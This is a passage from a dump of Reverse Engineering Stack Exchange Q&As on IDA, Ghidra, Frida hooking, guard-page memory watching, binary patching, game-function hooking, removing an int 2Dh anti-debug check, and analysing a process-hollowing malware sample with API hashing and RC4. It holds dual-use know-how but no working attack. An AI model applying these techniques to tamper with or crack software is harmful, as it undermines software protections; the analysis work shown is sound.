        "Body": "<p>I have reversed a number of functions and added definitions for some structs in an Intel x64 PE  executable. A program got an update. I moved old executable with the old database into another folder and I opened new executable and IDA created new database.</p>\n<p>Now I'd like to move information I gathered in the old executable into the new database: function names, comments for specific assembly lines, defined structures, renamed offsets(in the assembly instruction ) to represent offets of structs, etc.</p>\n<p>I googled it and found BinDiff plugin for IDA, and successfully ported function names and comments to the same executable(in a small VC++ test solution) opened in another folder with debugging symbols stripped.</p>\n<p>But it didn't touch the defined structures. The reason I used a small test project is because when I tried it on a real IDB, it was taking IDA too long to BinDiff the databases: the IDBs are 1.4GB in size with 180k functions recognized by IDA. I left it for half an hour and then decided to try it on a small project.</p>\n<p>So how to move all relevant information to the new database for the new version of the executable?</p>\n",
        "Title": "How to move function names, comments, local variable names and structs to a database for a new version of the executable?",
        "Tags": "|ida|",
        "Answer": "<p><a href=\"http://github.com/joxeankoret/diaphora\" rel=\"nofollow noreferrer\">Diaphora</a> is the closest thing to what I'd like to have.</p>\n<p>It doesn't port everything, though: doesn't port stack variables(arguments, local variables), which is a good enough and important enough chunk of reversing functions.</p>\n"
    },
    {
        "Id": "27976",
        "CreationDate": "2021-07-10T04:45:44.687",
        "Body": "<p>I am reverse engineering how a CPS software package communicates to a radio device. I have the basics down, and want to trick the software into thinking COM1 is the radio, when in reality I want to capture the control flow pin state changes (CTR and RST).</p>\n<p>I am running Windows XP in Qemu and/or Virtual Box with Linux as the base OS. Is there a way for Linux to emulate a software-defined serial port that captures all pin state changes?</p>\n<p>I have tried using <code>socat</code>, specifically with something like this <code>socat -d -d pty,raw,echo=0,b9600 pty,raw,echo=0,b9600</code>, but attempts to change the control flow pins on the resulting <code>/dev/pts/X</code> will result in an <code>ioctl</code> error. Also, simple <code>cat /dev/pts/X</code> only shows content sent over the device, not control flow changes.</p>\n<p>How would I do this? And, how would I pass the resulting device to a Windows VM to make it think it is communicating with <code>COM1</code>?</p>\n<p>Thanks!</p>\n",
        "Title": "How to capture control flow pins on emulated serial port?",
        "Tags": "|linux|serial-communication|virtual-machines|",
        "Answer": "<p>To answer my own question, you can use the Linux kernel module <code>tty0tty</code> to capture the control pins and data flow.</p>\n"
    },
    {
        "Id": "27978",
        "CreationDate": "2021-07-10T20:37:02.177",
        "Body": "<p>I'm looking for a way to get notified when some block of memory of the current process change.</p>\n<p>To be more specific, I want to track when some fields of a struct change.</p>\n<p>Let's say I have one instance of this struct in memory:</p>\n<pre><code>struct {\n   int field_a;\n   int field_b;\n} my_struct;\n</code></pre>\n<p>Is there any way to register a callback to notify me when any field has changed?</p>\n<p>I know some debuggers provide &quot;data breakpoints&quot; which pauses execution when a specified variable change.</p>\n<p>Is there any way, maybe some win32 debug api or interrupt that make this possible ?</p>\n",
        "Title": "Is there any way to watch a block of memory of the current process for change?",
        "Tags": "|winapi|",
        "Answer": "<p>VirtualProtect locks whole page and Raises an Exception on access and removes the PAGE_GUARD Memory Protection.<br />\nIn the Exception Handler you watch for a your small block<br />\nIf except-&gt;ExceptionRecord-&gt;ExceptionAddress is not within your watch block<br />\nyou reset the protection within Your Exception Handler.<br />\nreset the ContextRecord-&gt;Rip to next instruction and return EXECEPTION_CONTINUE_EXECUTION</p>\n<p>see below for a sample code</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\ntypedef struct _S1{\n    int field_a;\n    int field_b;\n} S1, *PS1;\n//putting guarded data in a seperate section for convenience \n#pragma data_seg(push, MyGuardedSection, &quot;.guarded&quot;)\nS1 t1 = {0, 0};\n#pragma data_seg(pop, MyGuardedSection)\nDWORD oldprot = 0;\nint filter(unsigned int code, struct _EXCEPTION_POINTERS *except){\n    if (code == EXCEPTION_GUARD_PAGE &amp;&amp;\n        except-&gt;ExceptionRecord-&gt;ExceptionAddress != (&amp;(t1.field_b)))    {\n        VirtualProtect(&amp;t1.field_b, sizeof(t1.field_b), 0x140, &amp;oldprot);\n        except-&gt;ContextRecord-&gt;Rip += 6;\n        return EXCEPTION_CONTINUE_EXECUTION;\n    }\n    printf(&quot;%x\\n%p\\n&quot;,\n           except-&gt;ExceptionRecord-&gt;ExceptionCode,\n           except-&gt;ExceptionRecord-&gt;ExceptionAddress);\n    return EXCEPTION_EXECUTE_HANDLER;\n}\nint main(void){\n    DWORD counter = 0;\n    DWORD loopcount = 0;\n    VirtualProtect(&amp;t1.field_b, sizeof(t1.field_b), 0x140, &amp;oldprot);\n    __try    {\n        while (loopcount &lt; 2)        {\n            while (counter &lt; 0x30)            {\n                t1.field_a++; //this will raise guard page exception\n                counter++;   // we return here from handler after reguarding\n                printf(&quot;%x &quot;, counter);\n                Sleep(0x10);\n            }\n            counter = 0;\n            loopcount += 1;\n            printf(&quot;\\nwe have reset guard page exception 0x60 times \\n&quot;);\n        }\n        printf(&quot;we access our field now \\n&quot;);\n        t1.field_b = 0xdead; //this again will raise exception and we execute handler \n        \n    }\n    __except (filter(GetExceptionCode(), GetExceptionInformation()))    {\n        //removing page guard\n        VirtualProtect(&amp;t1.field_b, sizeof(t1.field_b), 0x40, &amp;oldprot);\n        printf(&quot;t1.field_b = %x\\n&quot;, t1.field_b);\n        t1.field_b = 0xdead;\n        printf(&quot;t1.field_b = %x\\n&quot;, t1.field_b); // no exception \n        printf(&quot;Handler for PG %x\\n&quot;, GetExceptionCode());\n    }\n}\n</code></pre>\n<p>compiled and executed</p>\n<pre><code>:\\&gt;cl /Zi /W4 /analyze /EHsc /nologo vlock.cpp /link /release\nvlock.cpp\n\n:\\&gt;vlock.exe\n1 2 3 4 5 6 7 8 9 a b c d e f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30\nwe have reset guard page exception 0x60 times\n1 2 3 4 5 6 7 8 9 a b c d e f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30\nwe have reset guard page exception 0x60 times\nwe access our field now\nc0000005\n00007FF7CA131159\nt1.field_b = 0\nt1.field_b = dead\nHandler for PG c0000005\n</code></pre>\n"
    },
    {
        "Id": "27984",
        "CreationDate": "2021-07-12T08:49:22.177",
        "Body": "<p>I am trying to understand the usage of calls to CC_MD5 in an iOS application.</p>\n<p>From Apple's <a href=\"https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/CC_MD5.3cc.html\" rel=\"nofollow noreferrer\">man page</a> I can see that when it is called it requires 3 arguments:</p>\n<pre><code>extern unsigned char *\nCC_MD5(const void *data, CC_LONG len, unsigned char *md);\n</code></pre>\n<p>where <code>*md</code> is a pointer to where the result will be stored and is also what will be returned.</p>\n<p>When <code>CC_MD5</code> is called I would like to be able to log the input data and the resulting hash and have tried using the following script with Frida, including different ways of printing the data at the return pointer:</p>\n<pre><code>Interceptor.attach(Module.findExportByName(&quot;/usr/lib/libSystem.B.dylib&quot;, &quot;CC_MD5&quot;), {\n  onEnter: function(args) {\n    console.log(&quot;[+] CC_MD5 called with *data: &quot; + Memory.readCString(args[0], parseInt(args[1], 16)));\n    console.log(&quot;[+]                    *len:  &quot; + parseInt(args[1], 16));\n    console.log(&quot;[+]                    *md:   &quot; + args[2]);\n  },\n  onLeave: function(retval) {\n    console.log(&quot;[+] Resulting hash: &quot; + Memory.readCString(ptr(retval),16));\n    console.log(&quot;[+] Resulting hash: &quot; + retval.readByteArray(16));\n    console.log(&quot;[+] Resulting hash: &quot; + retval.readCString(16));\n  }\n});\n</code></pre>\n<p>I understand that it will not always be printable text that is passed to the function as the input data however am having problems actually reading the resulting hash.  Below is an example of the output I am getting:</p>\n<pre><code>[+] CC_MD5 called with *data: MGCopyAnswerProductVersion\n[+]                    *len:  26\n[+]                    *md:   0x16f6d61f0\n[+] Returning *md: 0x16f6d61f0\n[+] Resulting hash: \ufffd\ufffd]vU\n\ufffd)\ufffd\ufffd\n[+] Resulting hash: [object ArrayBuffer]\n[+] Resulting hash: \ufffd\ufffd]vU\n\ufffd)\ufffd\ufffd\n</code></pre>\n<p>I don't know if I have misunderstood how <code>CC_MD5</code> is called or what I should be able to do with Frida?</p>\n",
        "Title": "Log input data and resulting hash for CC_MD5 calls in an iOS app with Frida",
        "Tags": "|memory|ios|frida|hash-functions|",
        "Answer": "<p>The main problem of your code is that you expect the <code>md</code> parameter to be a string. In C the <code>unsigned char *</code> is not an indicator for a string. Instead it is often for storing binary data.</p>\n<p>In this case <code>md</code> is also just a pointer where the MD5 functions stores it's 16 byte of binary data.\nIf you want to print the content you have to encode it e.g. hexadecimal or base64.</p>\n<p>For printing binary data you can use Frida's <a href=\"https://frida.re/docs/javascript-api/#hexdump\" rel=\"nofollow noreferrer\">hexdump</a> method.</p>\n<p>Alternatively you can convert the binary data yourself to a hexadezimal string and format it based on your preferences:</p>\n<pre><code>var a = retval.readByteArray(16)\nvar b = new Uint8Array(a);\nvar str = &quot;&quot;;\n\nfor(var i = 0; i &lt; b.length; i++) {\n    str += (b[i].toString(16) + &quot; &quot;);\n}\nconsole.log(&quot;[+] Resulting hash: &quot; + str);\n</code></pre>\n<p><a href=\"https://github.com/frida/frida/issues/329#issuecomment-326219950\" rel=\"nofollow noreferrer\">Source of the code snippet</a></p>\n"
    },
    {
        "Id": "27989",
        "CreationDate": "2021-07-12T20:32:29.600",
        "Body": "<p>I am trying to modify the main function for a specific decompiled <code>.exe</code>. More specifically, I want to remove the reference to GUI from that <code>.exe</code> file, so that GUI doesn't get initialised on the startup and also make a call to a different function, which normally gets called from the subsequent GUI dialog.</p>\n<p>Example:</p>\n<pre><code>__int64 __fastcall gladius::Game::main(gladius::Game *this, int a2, char **a3, char **a4)\n{\n  gladius::Game *v4; // rbx@1\n\n  v4 = this;\n  gladius::Game::initialize(this, a2, a3, a4);\n  proxy::gui::GUI::run(*((proxy::gui::GUI **)v4 + 5));\n  gladius::Game::quit(v4);\n  return 0i64;\n}\n</code></pre>\n<p>called from the entry point to this program:</p>\n<pre><code>int main(int param_1,char **param_2,char **param_3)\n\n{\n  int iVar1;\n  Game local_68 [96];\n  \n  gladius::Game::Game(local_68);\n  iVar1 = gladius::Game::main(local_68,param_1,param_2,param_3);\n  gladius::Game::~Game(local_68);\n  return iVar1;\n}\n</code></pre>\n<p>I want to change this to something like this:</p>\n<pre><code>\n__int64 __fastcall gladius::Game::main(gladius::Game *this, int a2, char **a3, char **a4)\n{\n  gladius::Game *v4; // rbx@1\n\n  v4 = this;\n  gladius::Game::initialize(a2, a3, a4);\n  gladius::world::World::create();\n  gladius::Game::quit(v4);\n  return 0i64;\n}\n</code></pre>\n<p>Will call to the <code>gladius::Game::main</code> be possible from say proxy DLL in this case? Or as it is a main function it won't be called properly?</p>\n",
        "Title": "Modify main function for C++ game file",
        "Tags": "|c++|.net|dll-injection|game-hacking|proxy|",
        "Answer": "<p>Fixed with hooking the main function just as it is normally done with hooking technics. Note, that although the function above is called main, it is not the one called when the application starts. So, might be different for the actual main function.</p>\n"
    },
    {
        "Id": "27991",
        "CreationDate": "2021-07-12T23:09:59.803",
        "Body": "<p>I am trying to understand the following snippet. I understand that the first check would check if it is even if it would be an int, but I don't understand it in this context.</p>\n<p>Could someone explain to me what this does?</p>\n<pre><code>if (((byte)*password &amp; 1) == 0) {\n  buf = password + 1;\n  len = (uint)((byte)*password &gt;&gt; 1);\n}\nelse {\n  len = *(uint *)(password + 4);\n  buf = *(basic_string **)(password + 8);\n}\n\nbp = BIO_new_mem_buf(buf,len);\n</code></pre>\n",
        "Title": "string pointer to byte conversion condition",
        "Tags": "|binary-analysis|c|ghidra|",
        "Answer": "<p>Based on this limited amount of psuedo-C:</p>\n<pre><code>struct password_buffer {\n    byte len:7;\n    byte use_pointer:1;\n    union {\n        byte buffer[128];\n        struct {\n            byte pad[3];\n            uint len;\n            char *buf;\n        } pointer;\n    };\n};\n</code></pre>\n<p>This &quot;password&quot; should be probably be treated like a union.  That low bit is not odd or even, it's a flag to decide if the password is a buffer or in a pointer.</p>\n<p>When the least significant bit is unset in the first byte, then the password is a buffer with the zero index byte containing the length in the high 7 bits followed directly by the password.</p>\n<p>When the least significant bit is set in the first byte, then the length is the first uint after this first byte (4-byte aligned) and password is stored in memory with a pointer.</p>\n<p>This structure probably will default to the &quot;buffer&quot; when the string is less than 128 characters; otherwise, it will be in other memory with a pointer to the memory and a length value.</p>\n<p>structs like this will not cleanly be represented by most decompilation tools.  There's just not enough information in the assembly to do so.</p>\n"
    },
    {
        "Id": "28004",
        "CreationDate": "2021-07-15T11:52:34.717",
        "Body": "<p>I have nearly ruined my Ghidra layout, and was wondering if there is an equivalent to IDA-Pro's Windows-&gt;Reset Desktop, which would reset the code browser's layout to its default form.</p>\n<p>I am aware that I can drag the floating windows back into position.</p>\n",
        "Title": "Ghidra: equivalent to IDA-Pro's \"Reset desktop\"",
        "Tags": "|ghidra|",
        "Answer": "<p>In the project view, open Edit -&gt; Tool Options. Select the &quot;Tool&quot; section, and change the &quot;Swing Look and Feel&quot; to whatever you like. I chose GTK+. Restart Ghidra and you should be back in action.</p>\n"
    },
    {
        "Id": "28008",
        "CreationDate": "2021-07-16T10:57:46.137",
        "Body": "<p>I dont have much knowledge with assemblers. I beg ur pardon in advance.</p>\n<p>I need to change an IP address in a win-binary (Net) where the IP its hard-coded.\nJust changing the IP with an Hex Editor would be that easy.\nBut the new IP has longer Octet - e.g.</p>\n<p><a href=\"https://i.stack.imgur.com/w1CCh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/w1CCh.png\" alt=\"enter image description here\" /></a></p>\n<p>I want to change the 123.12.12.123 to 123.12<strong>3</strong>.12<strong>3</strong>.123\nJust inserting some digits per Hex Editor makes the file corrupt (adresses from routines etc. are moving I guess).</p>\n<p>What would be the &quot;easiest&quot; way to do that?\nThanks.</p>\n",
        "Title": "Inserting two digits into binary per Hex - without making EXE corrupt",
        "Tags": "|patching|.net|hex|strings|",
        "Answer": "<p>Since you are dealing with a dot Net application, this will be super easy.</p>\n<p>As dot Net application are 'compiled' using an Intermediate Language (IL), you may be able to recover something very close to the original source code. If the binary is not obfuscated/protected, you just have to open-up your application in a .NET editor.</p>\n<p>DnSpy is the one that I find the most complete. Other software can be used, like ILSpy for instance.</p>\n<p>Theses tools allows you to edit the decompiled code, then to re-compile it.</p>\n<p>In your case, you have to find where this IP is being declared, change it to whatever you want, then recompile the binary.</p>\n<p>This is not allays that easy, but you are lucky: you found the easier reverse-engineering case :)</p>\n"
    },
    {
        "Id": "28016",
        "CreationDate": "2021-07-18T20:16:26.287",
        "Body": "<p>I'm kinda new in the ARM world, and a question suddenly came up in my mind: how does (your favorite reverse engineering tool) know where a subroutine of an ARM64 file is starting (because I'd like to write a tool to know how many functions the file has)?</p>\n<p>thanks in advance.</p>\n",
        "Title": "How to know when a subroutine starts when reversing an ARM64 file?",
        "Tags": "|ida|arm|",
        "Answer": "<p>I don't know how my tools are doing it under the hood, but if I had to do it myself, I would search for some function's prologues related to my architecture of choice.</p>\n<p>This is a good 'signature' to identify a function, as this is something standard (even if you may find some cases where a function doesn't have any prologue/epilogue).</p>\n<p>As you may know, the prologue of a function is designed to save the previous stack frame, and setup a fresh new one that is able to handle the function's local variables, without messing with what was stored one the stack by the previous function. It is also used to store the address where to return to at the end of the function (basically saving the old instruction pointer + x, and overwriting it at the end of your function).</p>\n<p>In the opposite, the end of a function contains an epilogue, witch should restore the previous stack frame, and return to the previous routine.</p>\n<p>It all depend on which compilator was used to generate your target binary, but a typical ARM64 function's epilogue looks like this:</p>\n<pre><code>sub    sp, sp, #32          ; make rooms on the stack for the new stack frame\nstp    x29, x30, [sp, #16]  ; save what is needed to restore the previous stack frame and where to return (respectively x29 the previous SP, and x30 the return address)\nadd    x29, sp, #16         ; new frame pointer\n</code></pre>\n<p>If you have a binary blob of code that contains some functions, try to look for the opcodes of theses instructions. It should indicate where functions starts.</p>\n<p>Now for the implementation itself: take advantage of your tools and what's already existing. You added the 'IDA' tag, so I guess that's what you are taking about when referring to your 'favorite tool'.</p>\n<p>When IDA is not able to find any functions (for instance if I try to disassemble a big blob of ARM data that have no entrypoint and some spaced functions inside), I use this small IDAPython snippet that is able to search for a given binary pattern, disassemble everything that start by this, and add it to the functions and disassembly list. The IDA auto-analysis will be trigger by this, and it should find other functions that are called inside the first one, and so on.</p>\n<pre><code>from idaapi import *\nfrom ida_search import *\nfrom ida_funcs import *\n\ncnt = 0\nmy_pattern = '' # The hex value of the opcodes you are looking for\n\ndef is_function(start_addr):\n   content = get_bytes(start_addr, 4, False).hex()\n   if content == my_pattern:\n      return True\n   return False\n\naddr = find_unknown(0, 1)\nwhile addr != BADADDR\n   is_valid = is_function(addr)\n   if is_valid:\n      add_func(addr)\n      cnt += 1\n   addr = find_unknown(addr, 1)\n\nprint('A total of ' + str(cnt) + ' new functions where defined')\n\n</code></pre>\n<p>This one is very aggressive, and may find 'false positives' if a blob of junk data contains something that looks like your binary pattern.</p>\n<p>If it find nothing, it means that your pattern is not a good one. In this case, disassemble at random locations in IDA until you find a valid function. When you have one, check how this function prologue looks like. It may be slightly different, and your signature was not matching it. Update the script with this new signatures, and you should be good.</p>\n"
    },
    {
        "Id": "28030",
        "CreationDate": "2021-07-22T17:39:15.637",
        "Body": "<p>Using IDA Pro, I tried to patch <code>int 2Dh</code> to <code>nop</code>.\nHowever, with the debugger, it seems that the original code is being loaded.\nWhat may be the reason for that? This might be related for some protections? I'm new to RE and to IDA. I did not yet analyze deeply the routines before the <code>int 2Dh</code> anti-debug technique.</p>\n<p>The view during static analysis is:</p>\n<p><a href=\"https://i.stack.imgur.com/juuW4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/juuW4.png\" alt=\"enter image description here\" /></a></p>\n<p>The view during debug is:</p>\n<p><a href=\"https://i.stack.imgur.com/k0GWi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/k0GWi.png\" alt=\"enter image description here\" /></a></p>\n<p>As you may notice, the original <code>int 2Dh</code> command has been reverted.</p>\n",
        "Title": "IDA Pro Debbuger is debugging the original code and not the patched code",
        "Tags": "|ida|debugging|anti-debugging|",
        "Answer": "<p>When in ida you use patch byte, patch word, or assemble, the patch is NOT applied to the base executable.\nYou just  have to go to Edit-&gt; Patch program -&gt; Apply patches to input file.\nThen your input file is modified now.</p>\n"
    },
    {
        "Id": "28031",
        "CreationDate": "2021-07-22T17:55:58.143",
        "Body": "<p>I'm trying to reverse engineer a malware which uses a <code>Process Hollow</code> technique. This malware uses an <code>API hashing</code> technique and contains some RC4 encryption algorithm references.</p>\n<p>I already knew the entry point of the resumed thread and dumped it out but IDA failed to analyze the dumped code.</p>\n<p>What should I do?</p>\n<h3 id=\"solution-we1h\"><strong>Solution:</strong></h3>\n<p>After dumping the injected code I have to fix the alignment of the file. According to <a href=\"https://reverseengineering.stackexchange.com/a/21932/36056\">https://reverseengineering.stackexchange.com/a/21932/36056</a></p>\n<p>In IDA, the final address is calculated by\n<code>(base &lt;&lt; 4) + offset</code> so I have to set the loading segment to <code>0</code> and the loading offset to the <code>BaseAddr</code> of injected code</p>\n<h3 id=\"defeat-dynamic-resolving-to-lable-apis-in-ida-4lks\"><strong>Defeat dynamic resolving to lable APIs in IDA:</strong></h3>\n<p>I set a bp on <code>GetProcAddress</code> to build a table of APIs and then use a tool called <code>apiscout</code> <a href=\"https://github.com/danielplohmann/apiscout\" rel=\"nofollow noreferrer\">https://github.com/danielplohmann/apiscout</a> to dynamically resolve all APIs in IDA</p>\n",
        "Title": "How to analyze dumped process?",
        "Tags": "|ida|injection|",
        "Answer": "<p>Disclaimer: I'm going to expose my workflow when I see similar things. I'm not telling you that this is the best one or the faster, and I'm sure you have a lot of other way to deal with this. But this should give you an insight on how you can do this.</p>\n<p>As your question is really wide and does not contain any details (malware name, hash, or what 'failed to analyse' means) my answer is too.</p>\n<h3 id=\"process-hollowing-nmdb\">Process Hollowing</h3>\n<p>Fire-up your favorite debugger, load your binary, and put breakpoints on <em>CreateProcessInternalW</em>, <em>ZwUnmapViewOfsection</em>, <em>WriteProcessMemory</em> and <em>ResumeThread</em>.</p>\n<p>This should allow you to observe the full process-hollowing technique.</p>\n<ul>\n<li><p>Hit to <em>CreateProcessInternalW</em>: The process where the injection is going to occur is created by the loader. You should see that the creation flag is set to 0x4 (Suspended). If you open-up procexp or something like that, you should be able to observe the suspended process in your environment.</p>\n</li>\n<li><p>Hit to <em>ZwUnmapViewOfsection</em>: The previously created process content is wipe. This will make room for the malicious code that is going to be injected later.</p>\n</li>\n<li><p>Hit to <em>WriteProcessMemory</em>: The malicious code is injected in the empty suspended process. This can be done sections by sections, or from a big blob that contains the full PE. You may want to dump it from here, by looking at the source buffer of the <em>WriteProcessMemory</em> call.</p>\n</li>\n<li><p>Hit to <em>ResumeThread</em>: The malicious process is then ready to be resume. Your second option is to dump it there, when you are sure that the target process is ready to be launch.</p>\n</li>\n</ul>\n<p>Once you have your dump, start by looking at the sections in PE-bear (or equivalent) to unmappe it. As your dump was taken from memory, the sections are not aligned as it should be on the disk.</p>\n<p>Once you re-aligned everything, check if your IAT seems coherent. Even if it use some API hashing technique, you should at least find an entry for <em>LoadLibrary</em> and <em>GetProcAddress</em>. This will confirm that your dump is properly aligned on disk. (Additionally it should run if you execute it).</p>\n<p>You can now import this in IDA and start the analysis.</p>\n<h3 id=\"api-hashing-fek2\">API Hashing</h3>\n<p>For this part, you want to reverse the hashing algorithm.</p>\n<p>First, find the function in charge of doing so. It should be easy to spot, as it should take a DWORD as argument, and a string (or another DWORD if the DLL name is hashed too). The string being the name of the DLL where the API comes from, and the DWORD being the API hash. Small tip: you can also list the functions by their number of call. The API resolving function should be called from a huge number of different place in the code, and is usually the one with the more references.</p>\n<p>It is not impossible that the DLL name is decoded/decrypted just before the API resolving function.</p>\n<p>If you are not sure, open it in a debugger, and execute random instructions just after the entrypoint, until you can observe the resolving mechanism.</p>\n<p>If the DLL name is encoded/encrypted (witch is usually the case), start by reversing the algorithm. It can also be another hashing algorithm (or even the same one that the API). generally speaking, this part is easier to deal with, and you'll face some basic strings manipulations used to recover the DLL name.</p>\n<p>Once you understand it, write a small function that is supposed to take an encrypted/encoded DLL name, and returns the plaintext one. You can then convert it to an IDAPython script that is going to label your idb with the plaintext names.</p>\n<p>Half of the job is done here. Now, focus on the API hashing technique. Start by checking if the hash is not a standard one (CRC or others).\nIf this is done by hand, try to see if the hashing algorithm is not vulnerable to some reverse-manipulation that could lead to the recovery of the plaintext related hash.</p>\n<p>If the algorithm is strong enough, you will not be able to recover the API name from the hash, but you'll have to bruteforce it. Luckily for you, you already have the name of the DLL where the API is going to be import. So you know that this hash resolve to something in a pre-defined list of API.</p>\n<p>The idea is to re-implement the hashing algorithm, take the list of API defined in the target DLL, and pass them to your algorithm. Then, match the hash with the correct API name.</p>\n<p>Once again, you can automate this with an IDAPython script to label your idb and makes things easier for you.</p>\n<p>You now have something a bit more readable, and you should be able to understand the general goal of this malware.</p>\n<h3 id=\"rc4-encryption-er6x\">RC4 encryption</h3>\n<p>This part is standard as the RC4 algorithm is well documented, not that hard to reverse, easy to spot, and very popular among malwares.</p>\n<p>As always, try to identify your encryption function. You can search for some specific part of the algorithm (KSA, PRGA and the XOR) that have some hardcoded constants. The easy to stop one is the 'for' loop in the KSA, that should give you the following pseudo-code:</p>\n<pre><code>for (int i = 0; i &lt; 0x100; i++) {\n   S[i] = i;\n   [...]\n}\n</code></pre>\n<p>Every-time you see this, you can be sure that this is RC4.</p>\n<p>Now, trace back those function to the main encryption wrapper. If this is standard, you should see two buffer being passed to the function: one for the encrypted content, and one for the key.</p>\n<p>Once again, write a small script to decode this (plenty of libraries for RC4), and you should be able to recover the plaintext strings.</p>\n<p>Don't forget to test your script on several encrypted strings, as the key may be different for each one.</p>\n<p>Once you have marked up your idb with the plaintext string, you should have everything to analyze this malware.</p>\n"
    },
    {
        "Id": "28039",
        "CreationDate": "2021-07-24T08:25:10.717",
        "Body": "<h2 id=\"problem-n5lm\">Problem</h2>\n<p>I have a struct of some type, say the DOS header at the beginning of a typical PE file:</p>\n<pre><code>/DOS/IMAGE_DOS_HEADER\npack(disabled)\nStructure IMAGE_DOS_HEADER {\n   0   char[2]   2   e_magic   &quot;Magic number&quot;\n   2   word   2   e_cblp   &quot;Bytes of last page&quot;\n   4   word   2   e_cp   &quot;Pages in file&quot;\n   6   word   2   e_crlc   &quot;Relocations&quot;\n   8   word   2   e_cparhdr   &quot;Size of header in paragraphs&quot;\n   10   word   2   e_minalloc   &quot;Minimum extra paragraphs needed&quot;\n   12   word   2   e_maxalloc   &quot;Maximum extra paragraphs needed&quot;\n   14   word   2   e_ss   &quot;Initial (relative) SS value&quot;\n   16   word   2   e_sp   &quot;Initial SP value&quot;\n   18   word   2   e_csum   &quot;Checksum&quot;\n   20   word   2   e_ip   &quot;Initial IP value&quot;\n   22   word   2   e_cs   &quot;Initial (relative) CS value&quot;\n   24   word   2   e_lfarlc   &quot;File address of relocation table&quot;\n   26   word   2   e_ovno   &quot;Overlay number&quot;\n   28   word[4]   8   e_res[4]   &quot;Reserved words&quot;\n   36   word   2   e_oemid   &quot;OEM identifier (for e_oeminfo)&quot;\n   38   word   2   e_oeminfo   &quot;OEM information; e_oemid specific&quot;\n   40   word[10]   20   e_res2[10]   &quot;Reserved words&quot;\n   60   dword   4   e_lfanew   &quot;File address of new exe header&quot;\n   64   byte[64]   64   e_program   &quot;Actual DOS program&quot;\n}\nSize = 128   Actual Alignment = 1\n</code></pre>\n<p>at address <code>00400000</code> in memory that is initialized as part of the loader and has some fixed values. It's already defined as a struct in Ghidra, e.g. by some auto analysis.</p>\n<p><a href=\"https://i.stack.imgur.com/Ljg1W.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ljg1W.png\" alt=\"enter image description here\" /></a></p>\n<p>Now I want to get the value of e.g. <code>e_cp</code>, the &quot;Pages in file&quot;, in this case <code>3</code>, ideally as a proper Ghidra datatype in case that is a pointer, address or some more complex datatype. Ideally I want to access it by the name &quot;e_cp&quot; and not by hardcoding the offset.</p>\n<h2 id=\"attempts-gjq3\">Attempts</h2>\n<p><code>getDataAt(currentProgram.imageBase + 4)</code>, returns <code>null</code>,\n<code>etDataContaining(currentProgram.imageBase + 4)</code> returns a DataDB object for the entire <code>IMAGE_DOS_HEADER</code> struct.</p>\n<p>How can I get the actual value in memory at a known address, that is part of a struct?</p>\n",
        "Title": "Access data at memory address that is part of a struct",
        "Tags": "|ghidra|",
        "Answer": "<p>As i commented is this what you are looking for ?</p>\n<pre><code>&gt;&gt;&gt; base = getDataContaining(currentProgram.imageBase)\n&gt;&gt;&gt; base\nIMAGE_DOS_HEADER \n&gt;&gt;&gt; for i in range (0,base.length,1):\n...     print ( base.baseDataType.getComponentAt(i).toString() , base.getComponentAt(i))\n... \n(u'  0  0  char[2]  2  e_magic  &quot;Magic number&quot;', char[2] &quot;MZ&quot;)\n(u'  0  0  char[2]  2  e_magic  &quot;Magic number&quot;', char[2] &quot;MZ&quot;)\n(u'  1  2  word  2  e_cblp  &quot;Bytes of last page&quot;', dw 90h)\n(u'  1  2  word  2  e_cblp  &quot;Bytes of last page&quot;', dw 90h)\n(u'  2  4  word  2  e_cp  &quot;Pages in file&quot;', dw 3h)\n(u'  2  4  word  2  e_cp  &quot;Pages in file&quot;', dw 3h)\n(u'  3  6  word  2  e_crlc  &quot;Relocations&quot;', dw 0h)\n(u'  3  6  word  2  e_crlc  &quot;Relocations&quot;', dw 0h)\n(u'  4  8  word  2  e_cparhdr  &quot;Size of header in paragraphs&quot;', dw 4h)\n(u'  4  8  word  2  e_cparhdr  &quot;Size of header in paragraphs&quot;', dw 4h)\n(u'  5  10  word  2  e_minalloc  &quot;Minimum extra paragraphs needed&quot;', dw 0h)\n(u'  5  10  word  2  e_minalloc  &quot;Minimum extra paragraphs needed&quot;', dw 0h)\n(u'  6  12  word  2  e_maxalloc  &quot;Maximum extra paragraphs needed&quot;', dw FFFFh)\n(u'  6  12  word  2  e_maxalloc  &quot;Maximum extra paragraphs needed&quot;', dw FFFFh)\n(u'  7  14  word  2  e_ss  &quot;Initial (relative) SS value&quot;', dw 0h)\n(u'  7  14  word  2  e_ss  &quot;Initial (relative) SS value&quot;', dw 0h)\n(u'  8  16  word  2  e_sp  &quot;Initial SP value&quot;', dw B8h)\n(u'  8  16  word  2  e_sp  &quot;Initial SP value&quot;', dw B8h)\n(u'  9  18  word  2  e_csum  &quot;Checksum&quot;', dw 0h)\n(u'  9  18  word  2  e_csum  &quot;Checksum&quot;', dw 0h)\n(u'  10  20  word  2  e_ip  &quot;Initial IP value&quot;', dw 0h)\n(u'  10  20  word  2  e_ip  &quot;Initial IP value&quot;', dw 0h)\n(u'  11  22  word  2  e_cs  &quot;Initial (relative) CS value&quot;', dw 0h)\n(u'  11  22  word  2  e_cs  &quot;Initial (relative) CS value&quot;', dw 0h)\n(u'  12  24  word  2  e_lfarlc  &quot;File address of relocation table&quot;', dw 40h)\n(u'  12  24  word  2  e_lfarlc  &quot;File address of relocation table&quot;', dw 40h)\n(u'  13  26  word  2  e_ovno  &quot;Overlay number&quot;', dw 0h)\n(u'  13  26  word  2  e_ovno  &quot;Overlay number&quot;', dw 0h)\n(u'  14  28  word[4]  8  e_res[4]  &quot;Reserved words&quot;', dw[4] )\n(u'  14  28  word[4]  8  e_res[4]  &quot;Reserved words&quot;', dw[4] )\n(u'  14  28  word[4]  8  e_res[4]  &quot;Reserved words&quot;', dw[4] )\n(u'  14  28  word[4]  8  e_res[4]  &quot;Reserved words&quot;', dw[4] )\n(u'  14  28  word[4]  8  e_res[4]  